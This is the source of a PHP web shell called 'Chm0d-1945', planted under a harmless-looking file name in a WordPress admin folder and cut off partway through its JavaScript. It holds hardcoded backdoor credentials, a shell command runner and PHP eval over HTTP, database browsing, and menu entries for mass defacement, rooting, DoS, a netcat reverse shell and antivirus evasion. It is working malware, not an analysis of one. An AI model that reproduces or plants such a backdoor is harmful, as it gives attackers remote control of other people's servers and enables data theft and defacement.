HEX
Server: Apache
System: Linux infongqeu12 4.4.400-icpu-107 #2 SMP Tue Nov 18 10:27:58 UTC 2025 x86_64
User: u112693849 (10625425)
PHP: 8.4.18
Disabled: NONE
Upload Files
File: /homepages/35/d967185540/htdocs/clickandbuilds/CUS/wp-admin/network.js.php
<?php 
$u = "chmod"; // username is chmod
$p = "33b87b259a0031392539cc7d11dd73fc"; //password is "1945"

header("Pragma: no-cache");
header("Cache-Control: no-store");
error_reporting(0);
session_start();
if (@get_magic_quotes_gpc()) {
	function stripslashes_deep($value){
		return is_array($value)? array_map('stripslashes_deep', $value):stripslashes($value);
	}
	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}
$ip = get_client_ip();
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$url = getCompleteURL();
$rpath = isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:"";
$url_info = parse_url($url);
if( !isset($_SERVER['DOCUMENT_ROOT']) ) {
	if ( isset($_SERVER['SCRIPT_FILENAME']) )
		$path = $_SERVER['SCRIPT_FILENAME'];
	elseif ( isset($_SERVER['PATH_TRANSLATED']) )
	$path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
	$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));

}
$doc_root = str_replace('//','/',str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]));
$fm_self = $doc_root.$_SERVER["PHP_SELF"];
$path_info = pathinfo($fm_self);
// Register Globals
$blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE','charset','ip','islinux','url','url_info','doc_root','fm_self','path_info');
foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;

if (!isset($_SESSION["current_dir"])){
	$_SESSION["current_dir"]=$path_info["dirname"]."/";
	if (!$islinux)
	{
		$_SESSION["current_dir"] = ucfirst($_SESSION["current_dir"]);
	}
}
 
$current_dir=$_SESSION["current_dir"];
chdir($current_dir);

if(!isLogged() and isset($_REQUEST['cv']))
{
	$script = basename(__FILE__);	
	header("Location: $script");
	exit(0);
}
if(!isLogged())
{
	try {
		
	
		$username = isset($_REQUEST['username'])? $_REQUEST['username']:"";
		$password = isset($_REQUEST['password'])? $_REQUEST['password']:"";
		if($username===$u and md5($password)===$p) 
		{
			session_regenerate_id();
			$_SESSION['username']='admin';
			$script = basename(preg_replace('@\(.*\(.*$@', '', __FILE__));
			header("Location: {$script}");

		}
		else {
	
			displayLoginForm();
			exit(0) ;
		}
	}
	catch(Exception $e)
	{
		echo "Error: ". $e->getMessage();
	}
}
initializeSession();
displayPage();
function initializeSession()
{
	global $current_dir, $cv, $ajx,$rpath, $path_info,$home, $dl, $del, $filename, 
	$cd, $acp, $upl,$md,$defacePath,$ev,$sd,$connectDatabase,$listTables,
	$dlf,$dff,$tableData,$killPids,$Find,$cdf,$dlfile,$command,$NewFolder,
	$NewFile,$delf,$oldfname,$newfname,$vf,$cds;
	global $rnd;
	$rnd=rand(10,99);
	if(!isset($_SESSION['current_dir']))
		$_SESSION['current_dir']=$current_dir;
	
	if(!isset($_SESSION["view"]))
		$_SESSION["view"]="File Manager";
	if(!isset($_SESSION['HomeDir']))
		$_SESSION['HomeDir'] = $path_info['dirname'];
	
	if(isset($cv))
	{
		if($cv==1)
		{
			$_SESSION["view"]="File Manager";
		}
		else if($cv==2)
		{
			$_SESSION["view"]="Upload";
		}
		else if($cv==3)
		{
			$_SESSION["view"]="CMD";
		}
		else if($cv==4)
		{
			$_SESSION["view"]="Database";
		}
		else if($cv==5)
		{
			$_SESSION["view"]="Mass Deface";
		}
		else if($cv==6)
		{
			$_SESSION["view"]="Symlink";
		}
		else if($cv==7)
		{
			$_SESSION["view"]="Process";
		}
		else if($cv==8)
		{
			$_SESSION["view"]="Eval";
		}
		else if($cv==9)
		{
			$_SESSION["view"]="Find";
		}
		else if($cv==10)
		{
			$_SESSION["view"]="Rooting";
		}
		else if($cv==='chp')
		{
			$_SESSION["view"]="chp";
		}
		else if($cv==13)
		{
			$_SESSION["view"]="Config";
		}
		else if($cv==14)
		{
			$_SESSION["view"]="Mailer";
		}
		else if($cv==15)
		{
			$_SESSION["view"]="Domains";
		}
		else if($cv==16)
		{
			$_SESSION["view"]="Headers";
		}
		else if($cv==17)
		{
			$_SESSION["view"]="Netcat";
		}
		else if($cv==18)
		{
			$_SESSION["view"]="Commands";
		}
		else if($cv==20)
		{
			$_SESSION['view']="Info";
		}
		else if($cv==21)
		{
			$_SESSION["view"]="Hash";
		}
		else if($cv==22)
		{
			$_SESSION["view"]="ZoneH";
		}
		else if($cv==23)
		{
			$_SESSION["view"]="Exploit";
		}
		else if($cv==24)
		{
			$_SESSION["view"]="Code Inject";
		}
		else if($cv==25)
		{
			$_SESSION["view"]="Bypassers";
		}
		else if($cv==26)
		{
			$_SESSION["view"]="DoS";
		}
		else if($cv==27)
		{
			$_SESSION["view"]="Logs";
		}
		else if($cv==28)
		{
			$_SESSION["view"]="SelfKill";
		}
		else if($cv==29)
		{
			$_SESSION["view"]="Forums";
		}
		else if($cv==37)
		{
			$_SESSION["view"]="PortScanner";
		}
		else if($cv==34)
		{
			$_SESSION["view"]="EvadeAV";
		}
		else if($cv==11)
		{
			session_destroy();
		}
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($upl))
	{
		saveFile();
	}
	if(isset($dff) and $dff=='Copy')
	{
		$_SESSION['Copy'] = $_POST['fileItem'];
		$_SESSION['CopyPath']=$_SESSION['current_dir'];
		$_SESSION['lastAction']='Copy';
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($dff) and $dff=='Cut')
	{
		$_SESSION['Cut'] = $_POST['fileItem'];
		$_SESSION['CutPath']=$_SESSION['current_dir'];
		$_SESSION['lastAction']='Cut';
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($dff) and $dff=='Paste')
	{
		processPaste();
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($dff) and $dff=='Delete')
	{
		processDelete();
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($dff) and $dff=='Zip')
	{
		compressFileFolder($_POST['fileItem']);
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($killPids))
	{
		killProcesses($_POST['killPid']);
	}
	if(isset($md))
	{
		
		massDeface($defacePath);		
	}
	if(isset($NewFolder))
	{
		chdir($_SESSION['current_dir']);
		
		mkdir($NewFolder);
		chmod($NewFolder,0777);
		header("Location: {$rpath}");
		exit(0);
	}

	
	
	if(isset($NewFile))
	{
		chdir($_SESSION['current_dir']);
		touch($NewFile);
		chmod($NewFile,0777);
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($connectDatabase))
	{
		list($u,$h)=explode("@",$connectDatabase);
		echo listDatabases($u,$h);
		exit(0);
	}
	if(isset($listTables))
	{
		list($u,$h,$db)=explode("@",$listTables);
		echo listTables($u,$h,$db);
		exit(0);
	}
	if(isset($command))
	{
		$_SESSION['command']=$command;
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($delf))
	{
		
		total_delete($delf);
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($oldfname) and isset($newfname))
	{
		rename($oldfname,$newfname);
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($dlf))
	{
		$filename = compressFolder($dl);
		//$filename = compressFileFolder();
		download();
		exit(0);
	}
	if(isset($dff))
	{
		$filename = compressFileFolder($_POST['fileItem']);
		download();
		exit(0);
	}
	
	if(isset($tableData))
	{
		list($u,$h,$db,$tbl)=explode("@",$tableData);
		echo displayTableData($u,$h,$db,$tbl);
		exit(0);
	}
	
	if(isset($ev))
	{
		phpEval();
		exit(0);
	}
	if(isset($sd))
	{
		saveDatabaseCredentials();
		exit(0);
	}
	if(isset($dl))
	{
		global $filename;
		if($dlfile)
			$filename = $dl;
		else 
			$filename = $_SESSION['current_dir'].$dl;
		download();
		//header("Location: {$rpath}");
		//exit(0);
		
	}
	if(isset($cd))
	{
		chdir($_SESSION['current_dir']);
		chdir($cd);
		$_SESSION['current_dir']=format_path(getcwd());
		if($cdf)
		{
			$_SESSION["view"]="File Manager";
		}
		header("Location: {$rpath}");
		exit(0);
		
	}
	if(isset($cds))
	{
		chdir($cds);
		$_SESSION['current_dir']=format_path(getcwd());
		$_SESSION["view"]="File Manager";
		header("Location: {$rpath}");
		exit(0);
	
	}
	if(isset($home))
	{
		$_SESSION['current_dir']=format_path($_SESSION['HomeDir']);	
		$_SESSION["view"]="File Manager";
		header("Location: {$rpath}");
		exit(0);
	}
	if(isset($acp))
	{
		ajaxCurrentPath();
		exit(0);
	}
	
	if(isset($_SESSION["view"]))
	{
		if( $_SESSION["view"]=="CMD" and isset($ajx) and $ajx==1)
		{
			echo execute_cmd();
			exit(0);
				
		}
	
	}
	
}
function includePopups()
{
	?>
	<div class='box' id='NewFolder'>
		<form method="post">
		New Folder: <input name='NewFolder' > 
		 <input type='submit' value='Create'>
		 <input type='submit' value="Cancel" onclick="return cancelPopup('NewFolder')">
		</form>
	</div>
	<div class='box' id='NewFile'>
	<form method="post">
		New File: <input name='NewFile'>
		<input type='submit' value='Create'>
		<input type='submit' value="Cancel" onclick="return cancelPopup('NewFile')">
		</form>
	</div>
	<div class='box' id='NewName'>
	<form method="post">
		New File: <input name='newfname'>
		<input type='hidden' name='oldfname' id='oldfname'>
		<input type='submit' value='Rename'>
		<input type='submit' value="Cancel" onclick="return cancelPopup('NewName')">
		</form>
	</div>
	
	<?php 
}
function displayPage()
{
	global $Find,$oldusername,$oldpassword,$newusername,$newpassword,
	$vf;
	
	echo "<html>";
	includeHead();
	echo "<body  onload=\"initPage();\">";
	
	includeBanner();
	includeMenuBar();
	includeCurrentPath();
	includePopups();
	
	if(isset($vf))
	{
		echo "<div class='bodyDiv'>";
		echo "<textarea readonly rows='30'>";
		$data=file_get_contents($vf);
		//$encoded = html_encode($data);
		//echo mb_detect_encoding($data);
		//echo htmlspecialchars_decode($data);
		echo htmlentities($data, ENT_QUOTES | ENT_IGNORE, "UTF-8");
		echo "</textarea></div>";
		exit(0);
	}
	if(isset($_SESSION["view"]))
	{
		if( $_SESSION["view"]==="File Manager")
		{
			displayFileManager();
	
		}
		else if($_SESSION['view']==="Upload")
		{
			displayUpload();		
		}
	else if( $_SESSION["view"]==="CMD")
		{
			displayCMD();
	
		}else if( $_SESSION["view"]==="Database")
		{
			displayDatabase();
	
		}
		else if( $_SESSION["view"]==="Symlink")
		{
			displaySymlink();
		
		}
		else if( $_SESSION["view"]==="Mass Deface")
		{
			displayMassDeface();
			
		}
		else if( $_SESSION["view"]==="EvadeAV")
		{
			displayEvadeAV();
				
		}
		else if( $_SESSION["view"]==="Process")
		{
			displayProcess();
			
		}
		else if( $_SESSION["view"]==="Forums")
		{
			displayForums();
				
		}
		else if( $_SESSION["view"]==="Eval")
		{
			displayEval();
				
		}
		else if( $_SESSION["view"]==="Mailer")
		{
			displayMailer();
		
		}
		else if( $_SESSION["view"]==="Domains")
		{
			displayDomains();
		
		}
		else if( $_SESSION["view"]==="Info")
		{
			displayInfo();
		
		}
		else if( $_SESSION["view"]==="Commands")
		{
			displayCommands();
		
		}
		else if( $_SESSION["view"]==="Netcat")
		{
			displayReverseNetcat();
		
		}
		else if( $_SESSION["view"]==="Hash")
		{
			displayHash();
		
		}
		else if( $_SESSION["view"]==="Find")
		{
			displayFind();
			if(isset($Find))
			{
				processFind();
				exit(0);
			}
				
		}
		else if( $_SESSION["view"]==="Rooting")
		{
			displayRooting();
		
		}
		else if( $_SESSION["view"]==="ZoneH")
		{
			displayZoneH();
		
		}
		else if( $_SESSION["view"]==="Exploit")
		{
			displayExploit();
		
		}
		else if( $_SESSION["view"]==="Code Inject")
		{
			displayCodeInject();
		
		}
		else if( $_SESSION["view"]==="Bypassers")
		{
			displayBypassers();
		
		}
		else if( $_SESSION["view"]==="DoS")
		{
			displayDoS();
		
		}
		else if( $_SESSION["view"]==="PortScanner")
		{
			displayPortScanner();
		
		}
		else if( $_SESSION["view"]==="Logs")
		{
			displayLogs();
		
		}
		else if( $_SESSION["view"]==="SelfKill")
		{
			displaySelfKill();
		
		}
		
		else if( $_SESSION["view"]==="chp")
		{
			if(isset($oldusername) and isset($oldpassword)
				and isset($newusername) and isset($newpassword))
			{
				displayChangePassword();
				processChangePassword();
				
			}
			else 
			{
				displayChangePassword();
			}
		
		}
		else if( $_SESSION["view"]==="Headers")
		{
			displayHeaders();
		
		}
		else if( $_SESSION["view"]==="Config")
		{
			findConfig();
		
		}
	
	}
	echo "</body></html>";
}

function includeCurrentPath()
{
	global $islinux, $rpath;
	echo "<div id='acp'>";
	$l = $_SESSION['current_dir'];
	if($l[strlen($l)-1] === '/')
		$l = substr($l,0,strlen($l)-1);
	//echo $l;
	//echo str_replace("/","",$_SESSION['current_dir'],$l);
	$path = explode("/",$l);
	$cd="";
	if($islinux===false)
	{
		foreach (range("A", "Z") as $letter){
			if(is_readable($letter.":\\")){
				$letter.":";
				echo "<a href='{$rpath}?cd={$letter}:'>[ " . $letter . "\\ ]</a>";
				
				//$res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
				
			}
		}
		echo " - ";
		foreach ($path as $p)
		{
			
			$cd.=$p . "\\";
			echo "<a href='{$rpath}?cd={$cd}'>" . $p . "\\</a>";
			
		}
	}
	else 
	{
		foreach ($path as $p)
		{
			
			$cd.=$p . "/";
			echo "<a href='{$rpath}?cd={$cd}'>" . $p . "/</a>";
			
		}
	}
	echo "</div>";
}
function ajaxCurrentPath()
{
	global $islinux, $rpath;

	$l = $_SESSION['current_dir'];
	if($l[strlen($l)-1] === '/')
		$l = substr($l,0,$l-1);
	//echo $l;
	//echo str_replace("/","",$_SESSION['current_dir'],$l);
	$path = explode("/",$l);
	$cd="";
	if($islinux===false)
	{
		foreach ($path as $p)
		{
				
			$cd.=$p . "\\";
			echo "<a href='{$rpath}?cd={$cd}'>" . $p . "\\</a>";
				
		}
	}

}

function includeHead()
{
	echo "<head><title>Chm0d-1945</title><link rel='SHORTCUT ICON' href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAcCAQAAADc8cciAAAAAmJLR0QA/4ePzL8AAAAHdElNRQffDAgRIDphlPXjAAABvUlEQVQ4y53UTYjMcRjA8c+OmdnB0qQk7a5QSF6KZHFTlJRcnDbr4oBw2to9uMiBHNxcRS5yEC7KzWaVrS1Kuzgo76R2d2TQbHZ/DvNiXv4zY+b5Hf7P8+v5/p6e5/88D+1I0hmItQXP6pMkrj35ZVUzl5i4uE7LrS7ddYKXVrpXP3LcXdvEdUhJiHtrixxeWeOsRb7oqoeeMifUnCvOm7BXsNu4fVFgh0MRYPm55olLUWjKhyZoEAznnZdUoGtlI1ynPa+wjxfdH1hWQrdHRvluqXUla85POQvywKicA+Co35HwIG6UrJPSUsVox7wR9Bqsm9+IryV9c3WJepuW547Pgh8WR1X4RCQyU/hOmcBB6eiWeBSBZiSMeS0YEv5lWSvpCPgZ2CUIbtfrYOj2p2q+rrpVGL5Rj21tPD8zVXEHJPTrEUwJhhrDw1XwYftlBOesMNB8vD8JgsvmBTdr/2c96bLBpCAYw3WhWY7lslEw7aJ3Ysjos6mVjXTBt4LWI7gv2eo+3FPQ+r0QnG7lgRHZMmunnKz1/ws/FCys6rmnzZdrXj5ituw+Y9wOicZwsSkn0e19xaQdMd8Y/gstnwtCbO42lAAAAABJRU5ErkJggg=='>";
	includeCSS();
	includeJavascript();
	echo "</head>";
	
}
function includeCSS()
{
	
	?>
		<style type="text/css">
		body
		{
			background-color: #000000;
		}
		*{font-family:Ubuntu Mono, arial, serif,algerian;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:0;}
		*{
		color:white;
		}
		input{
		color:black;
		border-radius:5px;
		padding:4px;
		margin:2px;		
		font-size:.8em;
		
		}
		select,option{
		color:#5EFB6E;
		background:#001100;
		}
		table {
		width: 100%;
	   
			background:#444444;
			border:0;
		    border-collapse: collapse;
		    border-radius:5px;
		    font-size:.8em;
		}
		table, th,td {
		   border-bottom: thin solid #222222;
		
		}
		table#db, td#db {
			
		   border: thin solid #333333;
		   
		}
		table#find, td#find {
			
		   border: thin solid #333333;
		}
		table#db td:first-child { width: 20%; }
		table#find td:first-child { width: 20%; }
		table#bypass td:first-child { width: 15%; }
		th{
			padding: 6px 8px;
			background:#333333;
		}
		td{
			padding: 6px 8px;
		}
		td.center{
			text-align: center;
		}
		
		tr:hover {
		    background: #777777 none repeat scroll 0 0;
		}
		div#textAreaDiv{
		
		margin:10px 10px 10px 10px ;
		
		 
		}
		div#cmdDiv{
		
		margin:10px 10px 10px 10px ;
		
		 
		}
	
		div#upload{
		
		margin:10px 10px 10px 10px ;
		 border: thin solid #444444;
		 background:#444444;
		 border-radius:5px;
		 padding:6px 8px;
		}
		div.bodyDiv{
		
		 margin:10px 10px 10px 10px ;
		 border: thin solid #444444;
		 background:#444444;
		 border-radius:5px;
		 padding:6px 8px;
		 width:auto;
		}
		div.box{
	
			min-width:50%;
			border:1px solid #dddddd;
			padding:8px 8px 0 8px;
			border-radius:8px;
			position:fixed;
			background:white;
			opacity:1;
			box-shadow:1px 1px 11px #ffffff;
		    top: 50%;
		    left: 50%;
		    -webkit-transform: translate(-50%, -50%);
		    transform: translate(-50%, -50%);
		    display:none;
		}

		div#tableDataDiv{
		
		 margin-left:10px ;
		 border-radius:5px;
		 padding:6px 8px;
		 width:100%;
		}
		div#bannerDiv{
		
		 margin:10px 10px 10px 10px ;
		 font-size:1em;
		 border: thin solid black;
		 background:black;
		 border-radius:15px;
		 padding:6px 8px;
		 color:#5EFB6E;
		 line-height:100%
		}
		div#bannerDiv:hover{
		
		 margin:10px 10px 10px 10px ;
		
		
		  border: thin solid #222222;
		 background:#222222;
		 border-radius:15px;
		 padding:6px 8px;
		}
		div.divDatabases{
		
		 margin:10px 10px 10px 10px ;
		 border: thin solid #444444;
		 background:#444444;
		 border-radius:5px;
		 padding:6px 8px;
		 position:relative;
		}
		div#dbContainer1 {
		    width: 30em;
		    border: thin solid;
		    border: thin solid #444444;
		 background:#444444;
		    margin:10px 10px 10px 10px ;
		    border-radius:5px;
		}
		div#FileManager {
	
		    border: thin solid;
		    border: thin solid #444444;
		 background:#444444;
		    margin:10px 10px 10px 10px ;
		    border-radius:5px;
		}
		div.box {
		    width: 45%;
		    border: thin solid #444444;
		 background:#444444;
		    float: left;
		    box-sizing: border-box;
		    
		}
		div#acp{
		margin:10px 10px 10px 10px ;
		}
		textarea
		{
		 
		width:100%;
		padding:6px 8px;
		border-style: solid;
		border-color:#444444;
		border-width: 1px;
		border-radius:5px;
		background:#446644;
		font-size:1em;
		}
		div#menu{
		padding:6px 8px;
		margin:10px 10px 10px 10px ;
		border-style: solid;
		border-color:black;
		border-width: 1px;
		
		background-color:black;
		
		}
		a{
			text-decoration: none;
			padding: 2px 5px;
			font-size:1em;
			padding-left:5px;
			
			
		}
		div#menu a{
		border-radius:4px;
		font-size:1.2em;
		line-height:160%;
		}
		a.menu{
			margin-left:2px;
			margin-right:2px;
			border-style: solid;
			border-color:#5EFB6E;
			border-width: 1px;
			
		
		background-color:#003300;
						
		}
		div#logo{
	
		
			 
			float:right;
			margin-top:15px;
			color: #5EFB6E;
			 text-shadow:4px 4px 25px #ffffff;
			 font-size:1em;
			
		}
		span#logo
		{
			 color: #5EFB6E;
			
			 font-size:4em;
			
		}
		span#logo1
		{
			 color: #5EFB6E;
			
			 font-size:3em;
			
		}
		a:link {
	    color: #5EFB6E;
		}
		
		/* visited link */
		a:visited {
		   color: #5EFB6E;
		}
		
		/* mouse over link */
		a:hover {
		    background-color: #111111;
		}
		
		/* selected link */
		a:active {
		    background-color: #999999;
		}
		
		</style>
		
		<?php
}
function includeJavascript()
{
	global $rpath;
	
	
	?>
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
		<script type="text/javascript">
			function getXMLHTTP() {
			    var x = false;
			    try {
			       x = new XMLHttpRequest();
			    }catch(e) {
			      try {
			         x = new ActiveXObject("Microsoft.XMLHTTP");
			      }catch(ex) {
			         try {
			             req = new ActiveXObject("Msxml2.XMLHTTP");
			         }
			         catch(e1) {
			             x = false;
			         }
			      }
			   }
			   return x;
			 }
			var ajaxRequest;
			var cmdHistory= new Array("");
			var cmdHistoryPos = 0;
			var cmdFlag=0;
			function executeCMD()
			{
				var c = document.getElementById("cmd").value;
				cmdHistory.push(c);
				cmdHistoryPos=cmdHistory.length-1;
				//alert("try t osend request " +c);
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponse;  
					ajaxRequest.open("GET", "<?=$rpath ?>?cmd=" + c + "&ajx=1");
					ajaxRequest.send(null);
				}
			}
			function displayNewFolder()
			{
				document.getElementById("NewFolder").style.display="inline-block";
			}
			function cancelPopup(v)
			{
				document.getElementById(v).style.display="none";
				return false;
			}
			function displayNewFile(v)
			{
				document.getElementById(v).style.display="inline-block";
			}
			function displayPopupNewName(v,w)
			{
				document.getElementById('oldfname').value=w;
				document.getElementById(v).style.display="inline-block";
			}
			function validateSelectedItems()
			{
				return false;
				var inputs = document.getElementsByTagName("input");

		        for(var i = 0; i < inputs.length; i++) {
		            if(inputs[i].type == "checkbox" && inputs[i].checked) 
		                return true;
		        }
		        alert('You must select at least 1');
		        return false;
		
			}
			function saveDB()
			{
				
				var dbusername = document.getElementById("dbusername").value;
				var dbpassword = document.getElementById("dbpassword").value;
				var dbname = document.getElementById("dbname").value;
				var dbhost = document.getElementById("dbhost").value;
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseSaveDB;  
					ajaxRequest.open("GET", "<?=$rpath ?>?sd=1&dbusername="+dbusername+"&dbpassword="+dbpassword+"&dbname="+dbname+"&dbhost="+dbhost);
					ajaxRequest.send(null);
				}
			}
			function connectDatabase(c)
			{
				
				
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseConnectDatabase;  
					ajaxRequest.open("GET", "<?=$rpath ?>?connectDatabase=" + c + "&ajx=1");
					ajaxRequest.send(null);
				}
			}
			function displayTableData(c)
			{
				
				
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseDisplayTableData;  
					ajaxRequest.open("GET", "<?=$rpath ?>?tableData=" + c + "&ajx=1");
					ajaxRequest.send(null);
				}
			}
			function listTables(c)
			{
				
				
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseListTables;  
					ajaxRequest.open("GET", "<?=$rpath ?>?listTables=" + c + "&ajx=1");
					ajaxRequest.send(null);
				}
			}
			function executeEval()
			{
				var c = document.getElementById("tarea").value;
		
				//alert(c);
				//alert("try t osend request " +c);
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseEval;  
					ajaxRequest.open("GET", "<?=$rpath ?>?ev=" + c + "&ajx=1");
					ajaxRequest.send(null);
				}
			}
			function ajaxCurrentPath()
			{
				ajaxRequest = getXMLHTTP();    
				
				if (ajaxRequest) {   //  if the object was created successfully
					
					ajaxRequest.onreadystatechange = ajaxResponseACP;  
					ajaxRequest.open("GET", "<?=$rpath ?>?acp=1");
					ajaxRequest.send(null);
				}
			}
			function selectCMD()
			{
				
				document.getElementById("cmd").select();
			}			
			function ajaxResponseDisplayTableData()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("tableDataDiv").innerHTML =  ajaxRequest.responseText;
						document.getElementById("tableDataDiv").style.display="block";
						//document.getElementById("tableDataDiv").style.width =  document.getElementById("table01").style.width;
						
						//document.getElementById("tarea").innerHTML =""; 
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponseEval()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("evalBody").innerHTML =  ajaxRequest.responseText;
						//document.getElementById("tarea").innerHTML =""; 
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponseListTables()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("tablesListDiv").innerHTML =  ajaxRequest.responseText;
						document.getElementById("tablesListDiv").style.display="block";
						//document.getElementById("tableDataDiv").innerHTML =  "Table Data";
						document.getElementById("tableDataDiv").style.display =  "none";
						
						//document.getElementById("tarea").innerHTML =""; 
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponseConnectDatabase()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("databasesListDiv").innerHTML =  ajaxRequest.responseText;
						document.getElementById("databasesListDiv").style.display="block";
						document.getElementById("tableDataDiv").style.display="none";
						document.getElementById("tablesListDiv").style.display="none";
						//document.getElementById("tableDataDiv").innerHTML =  "Table Data";
						//document.getElementById("tablesListDiv").innerHTML =  "List of Tables";
												
						//document.getElementById("tarea").innerHTML =""; 
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponseSaveDB()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("dbConnectionsList").innerHTML =  ajaxRequest.responseText;
						//document.getElementById("tableDataDiv").innerHTML =  "Table Data";
						//document.getElementById("databasesListDiv").innerHTML =  "Dtabases";
						//document.getElementById("tablesListDiv").innerHTML =  "Tables";
						document.getElementById("tableDataDiv").style.display =  "none";
						document.getElementById("databasesListDiv").style.display =  "none";
						document.getElementById("tablesListDiv").style.display =  "none";
						
						//alert("response reeturn");
						//document.getElementById("tarea").innerHTML =""; 
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponseACP()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("acp").innerHTML =  ajaxRequest.responseText;						
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function ajaxResponse()  //This gets called when the readyState changes.  
			{
				if (ajaxRequest.readyState != 4)  //  check to see if we�re done
				{  
					return;  
				}
				else {
					if (ajaxRequest.status == 200) //  check to see if successful
					{   //  process server data here. . . 
						//alert(ajaxRequest.responseText);
						document.getElementById("tarea").value +=  ajaxRequest.responseText;
						var textArea = document.getElementById("tarea");
						textArea.scrollTop = textArea.scrollHeight;
						ajaxCurrentPath();
						document.getElementById("cmd").value="";
						document.getElementById("cmd").focus();
					}
		
					else {
						alert("Request failed: " + ajaxRequest.statusText);
					}
				}
			}
			function initPage()
			{
				//alert("page initialized!");
				var inpt = document.getElementById("cmd");
				if(inpt)
					inpt.addEventListener("keydown",keyPressed);
//				$("form[name=fmform]").bind('submit',validateSelectedItems());
				$("form[name=fmform]").bind('submit',			function(v){
					//alert();
					var btn = jQuery("#fmform1").context.activeElement.value;
			
					 if((btn =='Copy' || btn =='Cut' || btn =='Delete' || btn =='Zip') &&  $('input[name="fileItem[]"]:checked').length == 0 )
					    {
					        alert("You must check at least one file");
					        return false;
					    }
					    else
					        return true;
					 return false;
					});
	
			}
			
			function clearHistory()
			{
				cmdHistory = [""];
				cmdHistoryPos=0;
			}
			function keyPressed(event)
			{

			     var newchar = String.fromCharCode(event.charCode || event.keyCode);
		
			     if(newchar=='&')
			     {
				     
			    	 if(cmdHistoryPos > 0)
						{
						 	cmdHistoryPos-=1;
						} 

			    	 document.getElementById("cmd").value=cmdHistory[cmdHistoryPos];
			     }
				 else if(newchar=="(")
				 {
					 //document.getElementById("cmd").value="Down";
					
					if(cmdHistoryPos < cmdHistory.length-1)
			    	 {
				    	 cmdHistoryPos+=1;
			    	 }
					document.getElementById("cmd").value=cmdHistory[cmdHistoryPos];	 
				 }
				 else
				 {
					 cmdHistoryPos=cmdHistory.length;
				 }
			}	
			function fileSelected()
			{
				//alert("File Selected!");
				//var x = document.getElementsById("fileContainer");
